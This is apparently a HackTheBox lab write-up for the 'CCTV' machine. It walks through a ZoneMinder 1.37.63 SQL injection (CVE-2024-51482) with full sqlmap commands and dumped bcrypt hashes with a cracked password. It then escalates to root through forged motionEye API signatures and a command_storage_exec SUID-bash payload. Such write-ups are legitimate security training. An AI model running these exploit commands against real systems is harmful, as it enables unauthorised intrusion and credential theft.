Summary

CCTV is a Linux HackTheBox machine exposing SSH and a ZoneMinder web application on HTTP. The key foothold is an authenticated SQL injection in ZoneMinder 1.37.63, specifically the removetag action affected by CVE-2024-51482. After authenticating to the panel, the SQLi can be exploited with sqlmap to dump zm.Users, recover password hashes, and crack the mark account password.

Once on the box as mark, privilege escalation comes from a second service: motionEye. A world-readable /etc/motioneye/motion.conf exposes the motionEye admin credential hash. That hash is sufficient to compute valid request signatures for the localhost-only motionEye API on 127.0.0.1:8765. By updating camera configuration and setting command_storage_exec, it is possible to trigger root command execution through the snapshot action.

PhaseTechnique
ReconPort scan, virtual host discovery, authenticated app inspection
Initial AccessZoneMinder 1.37.63 authenticated SQLi (CVE-2024-51482)
Credential AccessDump zm.Users, crack bcrypt hash for mark
Privilege EscalationmotionEye signed localhost admin API + command execution

Reconnaissance

TCP Port Scan

$ nmap -Pn -T4 --min-rate 1000 -p22,80 10.129.244.156
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

The host is minimal from a network perspective: only SSH and HTTP are exposed.

Chrome screenshot of the saved nmap output showing SSH and HTTP open
Chrome screenshot of the saved nmap output confirming the two exposed TCP services.

Web Enumeration

The HTTP service is a ZoneMinder deployment and expects the cctv.htb virtual host. For quick interaction without editing /etc/hosts, curl --resolve works well:

curl -sk --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/zm/

The login page and authenticated pages reveal the application version:

v1.37.63

This matters because 1.37.63 is inside the vulnerable range for CVE-2024-51482.

Authenticated ZoneMinder console
Authenticated ZoneMinder console with the version visible in the UI.

Authenticated API Recon

After obtaining an authenticated ZoneMinder session, two API endpoints are especially useful:

/zm/api/users.json
/zm/api/configs.json?page=1

The users API exposed these accounts:

superadmin
mark
admin
Chrome screenshot of the saved ZoneMinder users API JSON response
Chrome screenshot of the saved `/zm/api/users.json` response showing the enumerated ZoneMinder users.

The configs API exposed internal database settings:

ZM_DB_HOST=localhost
ZM_DB_NAME=zm
ZM_DB_USER=zmuser
ZM_DB_PASS=<redacted>
ZM_PATH_WEB=/usr/share/zoneminder/www
ZM_PATH_CGI=/usr/lib/zoneminder/cgi-bin
ZM_WEB_USER=www-data

These values confirm both the DB name and the likely usefulness of SQLi against the web tier.

ZoneMinder options interface
Authenticated options view used during enumeration, including the versioned ZoneMinder interface and admin-only configuration areas.

User Flag

Vulnerability Discovery

ZoneMinder 1.37.63 falls within the vulnerable range for CVE-2024-51482, an authenticated SQL injection in web/ajax/event.php / request handling around the removetag action. The interesting parameter is tid.

Working request shape:

/zm/index.php?view=request&request=event&action=removetag&id=1&tid=4

During testing, boolean-style payloads such as 4 AND 1=1 and 4 AND 1=2 consistently collapsed into identical HTTP 500 responses with empty bodies, so they were not practically useful for extraction. The reliable signal on this box was time-based blind SQLi.

Exploitation with sqlmap

A fresh authenticated cookie is required. Once logged in, the SQLi can be validated directly with sqlmap:

sqlmap -u 'http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&id=1&tid=4' \
  -H 'Host: cctv.htb' \
  --cookie='zmSkin=classic; zmCSS=base; ZMSESSID=<session>' \
  -p tid --batch --dbms=mysql --technique=T --time-sec=1 --ignore-code=500 \
  --current-db --current-user --banner

sqlmap confirmed the injection and recovered:

Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
current database: zm
current user: zmuser@localhost
banner: 8.0.45-0ubuntu0.24.04.1

Dumping the Users table worked reliably:

sqlmap -u 'http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&id=1&tid=4' \
  -H 'Host: cctv.htb' \
  --cookie='zmSkin=classic; zmCSS=base; ZMSESSID=<session>' \
  -p tid --batch --dbms=mysql --technique=T --time-sec=1 --ignore-code=500 \
  -D zm -T Users -C Username,Password --dump

Recovered rows:

+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
Chrome screenshot of the actual sqlmap output log confirming time-based SQL injection and dumped hashes
Chrome screenshot of sqlmap's saved output log showing the time-based SQLi finding and the `zm.Users` dump.

Cracking the Password Hash

The mark bcrypt hash can be cracked with John and rockyou:

cat > hashes.txt <<'EOF'
mark:$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
EOF

gzip -dc /usr/share/wordlists/rockyou.txt.gz | john --stdin hashes.txt

Recovered credential:

mark : opensesame

Flag Capture

Use the cracked password over SSH:

Session verification:

mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)

mark@cctv:~$ hostname
cctv

The user flag is not in mark’s home directory. Enumerating for it reveals a second local user and the expected flag path:

/home/sa_mark/user.txt

The user flag is obtained from that path after landing on the box.

Root Flag

Enumeration

mark does not have useful sudo rights:

mark@cctv:~$ sudo -l
Sorry, user mark may not run sudo on cctv.

The box also runs motionEye locally. A key weakness is that its configuration file is world-readable:

/etc/motioneye/motion.conf

This file exposes the motionEye admin password hash. motionEye request authentication is signature-based; if the stored hash is known, valid signed admin requests can be generated for the localhost service listening on:

http://127.0.0.1:8765

Exploitation

The first step is proving command execution without leaving noisy artifacts. The following Python logic was executed from the mark SSH context:

from motioneye import utils
import json, urllib.request

ADMIN='admin'
KEY='<motioneye_hash>'
BASE='http://127.0.0.1:8765'

def req(method, path, obj=None):
    data = None if obj is None else json.dumps(obj).encode()
    sep = '&' if '?' in path else '?'
    url = f"{BASE}{path}{sep}_username={ADMIN}&_admin=true"
    sig = utils.compute_signature(method, url, data, KEY)
    url = url + '&_signature=' + sig
    r = urllib.request.Request(url, data=data, method=method)
    if data is not None:
        r.add_header('Content-Type', 'application/json')
    with urllib.request.urlopen(r, timeout=20) as resp:
        return resp.read().decode()

After reading the camera config via /config/1/get/, the exploit sets:

command_storage_enabled = True
command_storage_exec = touch /tmp/meye_rce_test

Then it triggers:

POST /action/1/snapshot/

This created /tmp/meye_rce_test, proving command execution as the motionEye service account. On this host, that path is effectively root execution.

Exploitation for Root

For the actual privesc, the same technique was used to configure a simple SUID bash payload:

cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash

The action flow is:

  1. Read current camera config with /config/1/get/
  2. Save a copy for restoration
  3. Set command_storage_enabled=true
  4. Set command_storage_exec to the payload
  5. Trigger /action/1/snapshot/
  6. Execute /tmp/rootbash -p
  7. Restore the original motionEye config

The resulting SUID bash confirms root privileges:

/tmp/rootbash -p -c 'id'
uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark),24(cdrom),30(dip),46(plugdev)

Flag Capture

Once root command execution is available, the final step is simply reading the flag from its standard location:

/tmp/rootbash -p -c 'cat /root/root.txt'

At this point the root flag can be read directly from /root/root.txt.